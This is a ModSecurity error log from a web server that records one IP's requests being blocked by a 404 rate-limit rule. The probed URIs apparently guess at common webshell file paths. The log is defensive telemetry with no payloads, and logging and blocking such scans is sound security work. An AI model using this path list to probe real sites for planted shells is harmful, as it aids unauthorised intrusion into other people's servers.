[Sun Dec 21 20:01:19.455223 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:1734] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aUfhjxmLyLqWUlrjwyduagAAAFc"]
[Sun Dec 21 20:01:19.783729 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:1755] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aUfhj8tpsOP1NfIK_qJCAQAAABU"]
[Sun Dec 21 20:01:20.115989 2025] [:error] [pid 59067:tid 59082] [client 20.2.26.82:1604] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aUfhkMtpsOP1NfIK_qJCBwAAAAg"]
[Sun Dec 21 20:01:20.431141 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:1816] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aUfhkMtpsOP1NfIK_qJCCAAAABE"]
[Sun Dec 21 20:01:20.775894 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1676] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUfhkH3dhXne9KX1kgIkHgAAAJQ"]
[Sun Dec 21 20:01:21.115342 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:1697] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUfhkX3dhXne9KX1kgIkIgAAAIk"]
[Sun Dec 21 20:01:21.449646 2025] [:error] [pid 59158:tid 59171] [client 20.2.26.82:1778] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUfhkY7NvyNF8ab5VgUd3QAAAMs"]
[Sun Dec 21 20:01:21.757864 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:1785] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "aUfhkctpsOP1NfIK_qJCCgAAAAM"]
[Sun Dec 21 20:01:22.074802 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1832] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUfhkstpsOP1NfIK_qJCDAAAAA4"]
[Sun Dec 21 20:01:22.370008 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1674] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUfhkstpsOP1NfIK_qJCDQAAAAU"]
[Sun Dec 21 20:01:22.675638 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:1699] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUfhkstpsOP1NfIK_qJCEAAAABU"]
[Sun Dec 21 20:01:22.985944 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:1687] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hello.php"] [unique_id "aUfhkstpsOP1NfIK_qJCEQAAAAo"]
[Sun Dec 21 20:01:23.308529 2025] [:error] [pid 59068:tid 59106] [client 20.2.26.82:1672] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abt.php"] [unique_id "aUfhkxmLyLqWUlrjwydubgAAAEU"]
[Sun Dec 21 20:01:23.637045 2025] [:error] [pid 59068:tid 59112] [client 20.2.26.82:1761] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abt.php"] [unique_id "aUfhkxmLyLqWUlrjwydubwAAAEs"]
[Sun Dec 21 20:01:23.957863 2025] [:error] [pid 59067:tid 59094] [client 20.2.26.82:1681] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abt.php"] [unique_id "aUfhk8tpsOP1NfIK_qJCFQAAABQ"]
[Sun Dec 21 20:01:24.260827 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1750] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abt.php"] [unique_id "aUfhlH3dhXne9KX1kgIkLgAAAJI"]
[Sun Dec 21 20:01:24.637195 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:1776] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUfhlMtpsOP1NfIK_qJCGAAAAA4"]
[Sun Dec 21 20:01:24.945817 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:1619] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUfhlMtpsOP1NfIK_qJCGgAAABY"]
[Sun Dec 21 20:01:25.233790 2025] [:error] [pid 59067:tid 59085] [client 20.2.26.82:1740] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUfhlctpsOP1NfIK_qJCGwAAAAs"]
[Sun Dec 21 20:01:25.546367 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:1711] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aUfhlX3dhXne9KX1kgIkNgAAAIA"]
[Sun Dec 21 20:01:25.857042 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:1709] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aUfhlX3dhXne9KX1kgIkOAAAAIU"]
[Sun Dec 21 20:01:26.190073 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:1665] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aUfhln3dhXne9KX1kgIkOwAAAJg"]
[Sun Dec 21 20:01:26.507940 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:1413] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aUfhln3dhXne9KX1kgIkPQAAAIM"]
[Sun Dec 21 20:01:26.841636 2025] [:error] [pid 59068:tid 59104] [client 20.2.26.82:1737] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aUfhlhmLyLqWUlrjwydudgAAAEM"]
[Sun Dec 21 20:01:27.217800 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:1601] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aUfhl33dhXne9KX1kgIkQgAAAIU"]
[Sun Dec 21 20:01:27.556278 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:1784] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aUfhl33dhXne9KX1kgIkRwAAAJc"]
[Sun Dec 21 20:01:27.892203 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1733] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aUfhl47NvyNF8ab5VgUd-AAAANI"]
[Sun Dec 21 20:01:28.231019 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1716] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up.php"] [unique_id "aUfhmH3dhXne9KX1kgIkSwAAAJU"]
[Sun Dec 21 20:01:28.555606 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:1603] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aUfhmMtpsOP1NfIK_qJCHAAAABE"]
[Sun Dec 21 20:01:28.862471 2025] [:error] [pid 59070:tid 59143] [client 20.2.26.82:1623] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aUfhmH3dhXne9KX1kgIkTgAAAI8"]
[Sun Dec 21 20:01:29.157283 2025] [:error] [pid 59158:tid 59176] [client 20.2.26.82:1775] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aUfhmY7NvyNF8ab5VgUd-gAAANA"]
[Sun Dec 21 20:01:29.450442 2025] [:error] [pid 59070:tid 59134] [client 20.2.26.82:1788] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower.php"] [unique_id "aUfhmX3dhXne9KX1kgIkUwAAAIY"]
[Sun Dec 21 20:01:29.733045 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:1713] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nope.php"] [unique_id "aUfhmX3dhXne9KX1kgIkVAAAAII"]
[Sun Dec 21 20:01:30.015621 2025] [:error] [pid 59068:tid 59106] [client 20.2.26.82:1700] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nope.php"] [unique_id "aUfhmhmLyLqWUlrjwydueQAAAEU"]
[Sun Dec 21 20:01:30.316914 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:1646] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nope.php"] [unique_id "aUfhmn3dhXne9KX1kgIkXAAAAJE"]
[Sun Dec 21 20:01:30.603422 2025] [:error] [pid 59070:tid 59139] [client 20.2.26.82:1673] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nope.php"] [unique_id "aUfhmn3dhXne9KX1kgIkXgAAAIs"]
[Sun Dec 21 20:01:30.899806 2025] [:error] [pid 59158:tid 59182] [client 20.2.26.82:1602] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUfhmo7NvyNF8ab5VgUd_wAAANY"]
[Sun Dec 21 20:01:31.184077 2025] [:error] [pid 59068:tid 59102] [client 20.2.26.82:1766] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUfhmxmLyLqWUlrjwyduegAAAEE"]
[Sun Dec 21 20:01:31.487354 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:1719] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUfhm8tpsOP1NfIK_qJCJQAAABY"]
[Sun Dec 21 20:01:31.791755 2025] [:error] [pid 59070:tid 59135] [client 20.2.26.82:1703] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUfhm33dhXne9KX1kgIkYwAAAIc"]
[Sun Dec 21 20:01:32.102358 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:1656] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUfhnMtpsOP1NfIK_qJCJwAAAAo"]
[Sun Dec 21 20:01:32.409323 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1747] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUfhnI7NvyNF8ab5VgUeCgAAANg"]
[Sun Dec 21 20:01:32.709787 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:1970] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUfhnI7NvyNF8ab5VgUeDwAAANI"]
[Sun Dec 21 20:01:33.000235 2025] [:error] [pid 59070:tid 59141] [client 20.2.26.82:1765] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUfhnH3dhXne9KX1kgIkZQAAAI0"]
[Sun Dec 21 20:01:33.305460 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:1670] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "aUfhnX3dhXne9KX1kgIkaQAAAJA"]
[Sun Dec 21 20:01:33.611560 2025] [:error] [pid 59067:tid 59097] [client 20.2.26.82:1644] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "aUfhnctpsOP1NfIK_qJCKgAAABc"]
[Sun Dec 21 20:01:33.898715 2025] [:error] [pid 59067:tid 59078] [client 20.2.26.82:1622] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "aUfhnctpsOP1NfIK_qJCKwAAAAQ"]
[Sun Dec 21 20:01:34.246666 2025] [:error] [pid 59070:tid 59138] [client 20.2.26.82:1634] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media.php"] [unique_id "aUfhnn3dhXne9KX1kgIkbAAAAIo"]
[Sun Dec 21 20:01:34.533453 2025] [:error] [pid 59067:tid 59074] [client 20.2.26.82:1626] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aUfhnstpsOP1NfIK_qJCMAAAAAA"]
[Sun Dec 21 20:01:34.818464 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:1618] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aUfhnn3dhXne9KX1kgIkcQAAAJU"]
[Sun Dec 21 20:02:24.675627 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1731] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUfh0H3dhXne9KX1kgIlOQAAAJI"]
[Sun Dec 21 20:02:24.982936 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:1896] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUfh0H3dhXne9KX1kgIlOgAAAIE"]
[Sun Dec 21 20:02:25.270331 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16464] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUfh0X3dhXne9KX1kgIlPAAAAIU"]
[Sun Dec 21 20:02:25.582516 2025] [:error] [pid 59068:tid 59122] [client 20.2.26.82:16448] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUfh0RmLyLqWUlrjwydvDQAAAFU"]
[Sun Dec 21 20:02:25.890908 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:16421] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aUfh0ctpsOP1NfIK_qJCqQAAABE"]
[Sun Dec 21 20:02:26.202083 2025] [:error] [pid 59068:tid 59125] [client 20.2.26.82:1610] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aUfh0hmLyLqWUlrjwydvEAAAAFg"]
